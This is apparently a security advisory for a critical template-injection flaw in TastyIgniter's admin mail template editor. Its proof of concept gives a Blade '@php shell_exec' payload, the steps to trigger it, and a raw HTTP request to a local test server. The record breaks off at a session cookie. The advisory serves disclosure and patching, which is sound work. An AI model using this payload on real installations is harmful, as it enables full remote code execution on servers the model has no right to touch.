- Severity: CRITICAL
- CVE: CVE-2026-69178
- Ecosystems: composer
- Packages: tastyigniter/tastyigniter
### Summary
**Where:** `POST /admin/mail_templates/edit/{id}` → body field
**Who can trigger:** Any admin user with `Admin.MailTemplates` permission
**Impact:** Arbitrary PHP execution on the server — full RCE
### Details
The Mail templates is vulnerable to SSTI and did not perform an validation and sanitization.
### PoC
– login as admin
– create new mail template with following command
“`
@php echo shell_exec(‘echo “RCE Executed”;id’); @endphp
“`
– save the request
– execute the request using `X-IGNITER-REQUEST-HANDLER: onTestTemplate`
Request
“`http
POST /admin/mail_templates/edit/20 HTTP/1.1
Host: localhost:8888
Content-Length: 47
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-ch-ua-platform: “Linux”
X-CSRF-TOKEN: L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY
Accept-Language: en-US,en;q=0.9
sec-ch-ua: “Not-A.Brand”;v=”24″, “Chromium”;v=”146″
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
X-IGNITER-REQUEST-PARTIALS:
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-IGNITER-REQUEST-HANDLER: onTestTemplate
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/admin/mail_templates/edit/20
Accept-Encoding: gzip, deflate, br
Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1c3akhoa…
Source: GitHub Security Advisories · 2026-11-25